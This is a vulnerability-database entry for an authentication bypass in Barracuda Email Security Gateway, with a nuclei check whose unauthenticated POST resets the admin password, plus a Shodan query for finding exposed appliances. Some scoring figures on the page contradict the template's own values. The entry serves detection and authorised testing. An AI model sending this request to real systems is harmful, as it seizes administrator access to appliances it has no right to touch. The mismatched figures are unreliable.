Barracuda Email Security Gateway - Authentication Bypass

Exploited in the wild. Listed by CISA on 2026-11-10; known to be used by ransomware.

criticalseverity

9.3CVSS score

8.9%likelihood of exploitation, next 30 days

95%of all CVEs are less likely

Readycheck to confirm it

An authentication bypass in Barracuda Email Security Gateway versions earlier than 9.4.0.030 allows an unauthenticated remote attacker to invoke a configuration-import function and restore a crafted, compatible backup archive, resulting in unauthorized modification of the appliance’s global configuration.

Impact

Unauthenticated attackers can modify the appliance's global configuration, potentially compromising security and functionality.

Fix

Update to version 9.4.0.030 or later.

How to confirm it

Send: POST /cgi-mod/index.cgi
Positive when: contains "password_change.cgi" and "Error: Password Change" and "\"success\":\"true\"" AND status 200

Run it with nuclei: nuclei -id CVE-2026-116606 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2026-116606

info:
  name: Barracuda Email Security Gateway - Authentication Bypass
  author: DhiyaneshDk
  severity: critical
  description: |
    An authentication bypass in Barracuda Email Security Gateway versions earlier than 9.4.0.030 allows an unauthenticated remote attacker to invoke a configuration-import function and restore a crafted, compatible backup archive, resulting in unauthorized modification of the appliance’s global configuration.
  impact: |
    Unauthenticated attackers can modify the appliance's global configuration, potentially compromising security and functionality.
  remediation: |
    Update to version 9.4.0.030 or later.
  reference:
    - https://labs.watchtowr.com/barracuda-networks-is-your-new-best-friend-barracuda-email-security-gateway-pre-auth-remote-root-rce-cve-2026-116606-cve-2026-111560/
    - https://github.com/watchtowrlabs/watchTowr-vs-Barracuda-RCE-CVE-2026-116606-CVE-2026-111560
    - https://blog.ostorlab.co/barracuda-esg-pre-auth-bypass-cve-2026-116606.html
    - https://www.rescana.com/post/barracuda-esg-cve-2026-116606-111560-root-prepare-now
  classification:
    cvss-score: 9.3
    cve-id: CVE-2026-116606
    epss-score: 0.01602
    epss-percentile: 0.76026
    cwe-id: CWE-288
  metadata:
    verified: false
    max-request: 1
    vendor: barracuda
    product: email_security_gateway
    shodan-query: http.html:"Barracuda"
  tags: cve,cve2026,barracuda,esg,email-security-gateway,auth-bypass,unauth,vkev,kev

variables:
  username: "admin"
  password: "{{to_lower(rand_text_alpha(8))}}"

http:
  - raw:
      - |
        POST /cgi-mod/index.cgi HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        user={{username}}&new_password={{password}}&retype_password={{password}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'password_change.cgi'
          - 'Error: Password Change'
          - '"success":"true"'
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from